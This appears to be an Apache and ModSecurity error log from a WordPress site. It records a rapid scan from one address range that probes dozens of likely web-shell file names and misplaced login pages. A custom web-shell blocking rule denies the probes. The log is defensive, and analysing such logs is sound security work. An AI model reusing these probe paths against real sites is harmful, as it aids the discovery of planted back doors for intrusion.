[Thu Feb 26 14:29:27.485266 2026] [:error] [pid 20419:tid 20442] [client 194.5.82.140:36089] [client 194.5.82.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/about.php"] [unique_id "aZ_oR-3DVDvMfTYYUBWyEQAAAdQ"]
[Thu Feb 26 14:29:28.559958 2026] [:error] [pid 55618:tid 55624] [client 194.5.82.124:36005] [client 194.5.82.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Content/index.php"] [unique_id "aZ_oSB61Vrh12f_8oWSQJQAAAQM"]
[Thu Feb 26 14:29:30.078582 2026] [:error] [pid 55618:tid 55640] [client 194.5.82.111:46053] [client 194.5.82.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aZ_oSh61Vrh12f_8oWSQKQAAARM"]
[Thu Feb 26 14:29:33.279510 2026] [:error] [pid 25311:tid 25336] [client 194.5.82.152:38959] [client 194.5.82.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/autoload_classmap.php"] [unique_id "aZ_oTdfdM__yZAgJFSsGAQAAAZY"]
[Thu Feb 26 14:29:35.612343 2026] [:error] [pid 25311:tid 25316] [client 194.5.82.138:41775] [client 194.5.82.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aZ_oT9fdM__yZAgJFSsGEgAAAYI"]
[Thu Feb 26 14:29:37.283509 2026] [:error] [pid 55618:tid 55638] [client 194.5.82.108:45985] [client 194.5.82.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aZ_oUR61Vrh12f_8oWSQNQAAARE"]
[Thu Feb 26 14:29:40.891762 2026] [:error] [pid 20419:tid 20424] [client 194.5.82.157:46707] [client 194.5.82.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/autoload_classmap.php"] [unique_id "aZ_oVO3DVDvMfTYYUBWyIwAAAcI"]
[Thu Feb 26 14:29:45.768685 2026] [:error] [pid 55051:tid 55072] [client 194.5.82.162:37319] [client 194.5.82.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aZ_oWQmK1w2kZvh5eLHuuQAAAJI"]
[Thu Feb 26 14:29:49.675824 2026] [:error] [pid 55051:tid 55055] [client 194.5.82.111:22527] [client 194.5.82.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/zmFM.php"] [unique_id "aZ_oXQmK1w2kZvh5eLHuvgAAAIE"]
[Thu Feb 26 14:29:56.260455 2026] [:error] [pid 55618:tid 55631] [client 194.5.82.134:50061] [client 194.5.82.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aZ_oZB61Vrh12f_8oWSQPgAAAQo"]
[Thu Feb 26 14:29:59.199911 2026] [:error] [pid 20419:tid 20436] [client 194.5.82.164:45609] [client 194.5.82.164] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.164, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/wp-login.php"] [unique_id "aZ_oZ-3DVDvMfTYYUBWyPAAAAc4"]
[Thu Feb 26 14:29:59.966668 2026] [:error] [pid 20419:tid 20428] [client 194.5.82.164:45609] [client 194.5.82.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/wp-login.php"] [unique_id "aZ_oZ-3DVDvMfTYYUBWyPwAAAcY"]
[Thu Feb 26 14:30:02.426295 2026] [:error] [pid 54991:tid 55040] [client 194.5.82.143:22501] [client 194.5.82.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aZ_oat4Zx-mJ8gbRB2iV0AAAAFQ"]
[Thu Feb 26 14:30:12.473141 2026] [:error] [pid 25311:tid 25325] [client 194.5.82.125:26883] [client 194.5.82.125] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.125, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/wp-login.php"] [unique_id "aZ_odNfdM__yZAgJFSsGWwAAAYs"]
[Thu Feb 26 14:30:12.758910 2026] [:error] [pid 25311:tid 25328] [client 194.5.82.125:26883] [client 194.5.82.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aZ_odNfdM__yZAgJFSsGXAAAAY4"]
[Thu Feb 26 14:30:14.365661 2026] [:error] [pid 54990:tid 55011] [client 194.5.82.117:50795] [client 194.5.82.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/network.php"] [unique_id "aZ_odntr2qmt_mBhH2zj2AAAABI"]
[Thu Feb 26 14:30:15.519859 2026] [:error] [pid 25311:tid 25321] [client 194.5.82.114:36513] [client 194.5.82.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aZ_od9fdM__yZAgJFSsGXQAAAYc"]
[Thu Feb 26 14:30:17.337646 2026] [:error] [pid 3883:tid 3910] [client 194.5.82.155:24507] [client 194.5.82.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/php-compat/autoload_classmap.php"] [unique_id "aZ_oeeA33x90V6yYHaiEWgAAAVg"]
[Thu Feb 26 14:30:24.562885 2026] [:error] [pid 55122:tid 55132] [client 194.5.82.159:41833] [client 194.5.82.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aZ_ogILiR0OfjFxvcN_NyQAAAMg"]
[Thu Feb 26 14:30:27.854385 2026] [:error] [pid 20419:tid 20438] [client 194.5.82.141:41173] [client 194.5.82.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aZ_og-3DVDvMfTYYUBWyVwAAAdA"]
[Thu Feb 26 14:30:29.986551 2026] [:error] [pid 3883:tid 3893] [client 194.5.82.122:32755] [client 194.5.82.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aZ_oheA33x90V6yYHaiEhwAAAUc"]
[Thu Feb 26 14:30:31.003831 2026] [:error] [pid 3883:tid 3904] [client 194.5.82.154:60479] [client 194.5.82.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aZ_oh-A33x90V6yYHaiEjAAAAVI"]
[Thu Feb 26 14:30:32.186482 2026] [:error] [pid 54991:tid 55030] [client 194.5.82.105:25321] [client 194.5.82.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aZ_oiN4Zx-mJ8gbRB2iV1QAAAEo"]
[Thu Feb 26 14:30:33.293868 2026] [:error] [pid 20419:tid 20431] [client 194.5.82.134:62525] [client 194.5.82.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aZ_oie3DVDvMfTYYUBWyWgAAAck"]
[Thu Feb 26 14:30:34.571724 2026] [:error] [pid 3883:tid 3888] [client 194.5.82.119:23349] [client 194.5.82.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aZ_oiuA33x90V6yYHaiEnwAAAUI"]
[Thu Feb 26 14:30:38.069262 2026] [:error] [pid 25311:tid 25317] [client 194.5.82.157:46297] [client 194.5.82.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aZ_ojtfdM__yZAgJFSsGeQAAAYM"]
[Thu Feb 26 14:30:40.916774 2026] [:error] [pid 25311:tid 25331] [client 194.5.82.118:41679] [client 194.5.82.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aZ_okNfdM__yZAgJFSsGhQAAAZE"]
[Thu Feb 26 14:30:43.373144 2026] [:error] [pid 55051:tid 55060] [client 194.5.82.123:29265] [client 194.5.82.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aZ_okwmK1w2kZvh5eLHuyAAAAIY"]
[Thu Feb 26 14:30:44.789740 2026] [:error] [pid 20419:tid 20436] [client 194.5.82.113:52527] [client 194.5.82.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aZ_olO3DVDvMfTYYUBWyagAAAc4"]
[Thu Feb 26 14:30:46.220922 2026] [proxy_fcgi:error] [pid 55051:tid 55069] [client 194.5.82.145:56507] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 14:30:47.173113 2026] [:error] [pid 55051:tid 55067] [client 194.5.82.145:56507] [client 194.5.82.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/autoload_classmap.php"] [unique_id "aZ_olwmK1w2kZvh5eLHuzwAAAI0"]
[Thu Feb 26 14:30:52.984573 2026] [:error] [pid 25311:tid 25331] [client 194.5.82.122:60625] [client 194.5.82.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/autoload_classmap.php"] [unique_id "aZ_onNfdM__yZAgJFSsGogAAAZE"]
[Thu Feb 26 14:30:54.383604 2026] [:error] [pid 55051:tid 55064] [client 194.5.82.145:54237] [client 194.5.82.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aZ_ongmK1w2kZvh5eLHu0AAAAIo"]
[Thu Feb 26 14:30:56.398860 2026] [:error] [pid 20419:tid 20427] [client 194.5.82.164:44153] [client 194.5.82.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "aZ_ooO3DVDvMfTYYUBWydQAAAcU"]
[Thu Feb 26 14:30:57.385269 2026] [:error] [pid 3883:tid 3906] [client 194.5.82.154:23505] [client 194.5.82.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aZ_ooeA33x90V6yYHaiE3wAAAVQ"]
[Thu Feb 26 14:30:58.457515 2026] [:error] [pid 25311:tid 25336] [client 194.5.82.144:58861] [client 194.5.82.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/wp-login.php"] [unique_id "aZ_ootfdM__yZAgJFSsGrAAAAZY"]
[Thu Feb 26 14:31:02.130560 2026] [:error] [pid 25311:tid 25332] [client 194.5.82.125:58465] [client 194.5.82.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aZ_optfdM__yZAgJFSsGuwAAAZI"]
[Thu Feb 26 14:31:04.379109 2026] [:error] [pid 25311:tid 25328] [client 194.5.82.117:35551] [client 194.5.82.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.117, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aZ_oqNfdM__yZAgJFSsGwQAAAY4"]
[Thu Feb 26 14:31:04.981625 2026] [:error] [pid 25311:tid 25318] [client 194.5.82.117:35551] [client 194.5.82.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aZ_oqNfdM__yZAgJFSsGxAAAAYQ"]
[Thu Feb 26 14:31:07.665746 2026] [:error] [pid 54990:tid 55007] [client 194.5.82.119:48067] [client 194.5.82.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aZ_oq3tr2qmt_mBhH2zj3QAAAA4"]
[Thu Feb 26 14:31:09.000990 2026] [:error] [pid 3883:tid 3901] [client 194.5.82.156:25639] [client 194.5.82.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/autoload_classmap.php"] [unique_id "aZ_orOA33x90V6yYHaiE_QAAAU8"]
[Thu Feb 26 14:31:10.670579 2026] [:error] [pid 3883:tid 3896] [client 194.5.82.142:53429] [client 194.5.82.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "aZ_oruA33x90V6yYHaiFAwAAAUo"]
[Thu Feb 26 14:31:13.231103 2026] [proxy_fcgi:error] [pid 20419:tid 20440] [client 194.5.82.136:24129] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 14:31:14.979709 2026] [proxy_fcgi:error] [pid 20419:tid 20441] [client 194.5.82.136:24129] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 14:31:15.473027 2026] [:error] [pid 20419:tid 20425] [client 194.5.82.136:24129] [client 194.5.82.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugin.php"] [unique_id "aZ_os-3DVDvMfTYYUBWymgAAAcM"]
[Thu Feb 26 14:31:19.111321 2026] [:error] [pid 55618:tid 55625] [client 194.5.82.105:44031] [client 194.5.82.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/wp-tinymce.php"] [unique_id "aZ_otx61Vrh12f_8oWSQbQAAAQQ"]
[Thu Feb 26 14:31:21.866258 2026] [:error] [pid 55618:tid 55638] [client 194.5.82.143:42883] [client 194.5.82.143] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.143, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aZ_ouR61Vrh12f_8oWSQcQAAARE"]
[Thu Feb 26 14:31:21.873343 2026] [proxy_fcgi:error] [pid 55618:tid 55638] [client 194.5.82.143:42883] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 14:31:23.874899 2026] [:error] [pid 55618:tid 55622] [client 194.5.82.143:42883] [client 194.5.82.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/mah.php"] [unique_id "aZ_oux61Vrh12f_8oWSQdwAAAQE"]
[Thu Feb 26 14:31:25.175578 2026] [:error] [pid 54991:tid 55031] [client 194.5.82.157:23059] [client 194.5.82.157] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.157, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/sunrise/wp-login.php"] [unique_id "aZ_ovd4Zx-mJ8gbRB2iV3QAAAEs"]
[Thu Feb 26 14:31:25.594586 2026] [:error] [pid 54991:tid 55040] [client 194.5.82.157:23059] [client 194.5.82.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/lmfi.php"] [unique_id "aZ_ovd4Zx-mJ8gbRB2iV3gAAAFQ"]
[Thu Feb 26 14:31:29.586688 2026] [proxy_fcgi:error] [pid 25311:tid 25330] [client 194.5.82.152:55973] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 14:31:30.490105 2026] [:error] [pid 25311:tid 25335] [client 194.5.82.152:55973] [client 194.5.82.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aZ_owtfdM__yZAgJFSsG5AAAAZU"]
[Thu Feb 26 14:31:32.774260 2026] [:error] [pid 25311:tid 25328] [client 194.5.82.154:63497] [client 194.5.82.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aZ_oxNfdM__yZAgJFSsG6wAAAY4"]
[Thu Feb 26 14:31:34.167566 2026] [:error] [pid 25311:tid 25330] [client 194.5.82.114:22143] [client 194.5.82.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.114, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/light/wp-login.php"] [unique_id "aZ_oxtfdM__yZAgJFSsG8QAAAZA"]
